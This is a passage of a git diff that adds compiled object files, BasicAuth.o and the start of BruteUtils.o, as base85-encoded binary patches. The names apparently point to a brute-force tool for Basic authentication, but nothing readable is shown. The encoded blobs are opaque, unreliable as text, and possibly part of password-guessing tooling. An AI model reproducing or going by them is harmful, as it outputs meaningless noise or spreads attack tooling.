z2JJDYOp{VEJCi3Qf?iG~iT<LL!)Htd0g(tj1er1?(H%Sm27dF?!r+mn>^6>HFjWa4 z5`A(^p2F7yyMXiO)UANqgm}e#OY{wHvK|~sge{h7N+SGJa`J>k*vrXe81!I;Or{-l zc*&F+-$n7M@n#wSWG(P}NC7dL5{Fd$@+)E3lZw0CjF+o;<S$prh?|O-sgnr%krmYM zhyFaFuK4@UV}RG#OZnvc_z2+Ts^m2b{8J13JV;GByETBHFYK4SAdjQ~Ue2y+f#Y+k z96!E4qyB=Smhf-yH!S!oAocTv{lcG*-vYdxe%%5uSm3|3z<+Cj4_n}WwZPxDz{dff zCq%&CyUvA@nkVdc{ytO(c)56efMY%%Vfm!r{?HFt@XL(<O~!u`@{Y94f?u=1@3FuS zSl~x2@K-JH4=wO%u(jNfJ2PE`xEaK8Afm<k;Cs0(72d9<Hgzj<GPO?Cypi5sqO1w6 zZw-VLC7s!#v@38f(XhmVzo8+T48~&`s^Ki5SV9f*lMJHV(5Z!*6eX6#uX^GQt%48# z(5eQ!`Cztm=CKscJj5}cfqc<tK6i8d>eZdWP0FS~YbdCohDk>nzNm5T5!T=oqEm^- zN!c?4(Xiie<o^gd9M$A?=!&Hd|MK(~<ZN?ddn^%EHmd0ioKt+Ep2pGwtVzY9U*dW* zwOV3a-tiTj5SdcmM9-Np-|=|7c+S+Rls#RFtMN$hjw!3=Pj`n?YE(&NdU}Ecn9`~S zOwG5ohNJY13Q9$Z^oNx#>eg67fg`I(H$zgY)}2ajXCpYE;<H$4#c0LDE4uc@nMo&B zU^$-b!zJ+h<Kb;8)Hs%RjD(?+MwhIYcu6XgfaT!Z0(tqaSeD4dx2UP$tuYbxFYQVt z<D0dvCZ${LfkUm}hP9DN93`(iX{9gk*whW@deLR^bdRd`2BElbSl6jF#gb`d3!J+( zw!@xV#p>CNw^3Y)rjtr{I1%lEC}~Pz<@#Z#QmQc;`X;mh`k%so2#_vkIR2tvCg8Gw zqb%po2>5&fzeB*kA>iL*IKFX;cJcQg32}TU;QF6M5D5Kggp1=N2m&FF=UyED2tgpT z{%P#FkNov;aeg<$k-u5MS1=qOz4#W!`T5x};&`^h@lAsMD+D|v=)vz>&VQ%Cze2$C z0*=3Joc|XBUL)YYW;ps&E8s6!@V{e$|69PX6!iR%{q|sUk%0f4;h0Zx-G60)AF{xo z5pc0i=zm8*w|Twr8yyMp8n}3VFo#Hpe-kc_??w;^@kMZP{3!&1aNY46nB!*=1TyQ# za|n*(w*=?s|6@RY5#KBD<DTOD-xYA5fa7;ElG*NK0*+^aTo3<lMSeWn;rJf}elef? z{0I5*oSE})gFccO7xTXq<~cvSrclCVLm7_qFG9qw5^(mJO!Ex?Kr8a|H+|I8BH%U9 zM>6Y2pOH|104{D9F(eF|`#=G9Lwue9aDPxgo>z0KV;#gRI0!A~90_sptGWe2AjI+F z)XqAHu_F$O+%4cZS776Z1iXs%vH6*RqaGgHDFMgY<un@u1w!3;4$SF#0mr#V*hIex Vf0N<7Zn^*X%tbmV@N-`f|1V~rn-%~7 literal 0 HcmV?d00001 diff --git a/BasicAuth.o b/BasicAuth.o new file mode 100644 index 0000000000000000000000000000000000000000..71793f870c184b44b30307989503925d1c35f7b3 GIT binary patch literal 29208 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 awh4w4{{tc;y~%Lm>+eH{D`j-zar?h5?fSd` literal 0 HcmV?d00001 diff --git a/BruteUtils.o b/BruteUtils.o new file mode 100644 index 0000000000000000000000000000000000000000..cc4a32ca4f11daef433e9d8113c71623211b0d43 GIT binary patch literal 4656 zcmb_fUu;uV7(Z<pD{OQFMXHE&h-MhLwlEkNH0#!mF4i&V770c#ckN|uY;TwL7CYh} zNC(N%kSsAKsEJP|#`xl!h{jC8XkvVT_~eU!BN{M{@M6$dzwg}h(X+#?`rwzGo^yWZ z_x(HP-gCdc6i*I&Jsw8lVUMxqj8Mjc%bMc>J{({{ww80-VZH(y>UHt8=FdbbQM(pQ z)Y}lMG0$RS*#kHfNMi2F`IR`G`=K8GnJ>&;ar*k+&Gq(E3zZG${eXYug&$|3b}{(W z(-*ono<Mr-_lEuJV(np1*DDLN3zhE^pmz1k#N4Nexo?EM-*`WNv}<FGu_f`;yH8zy 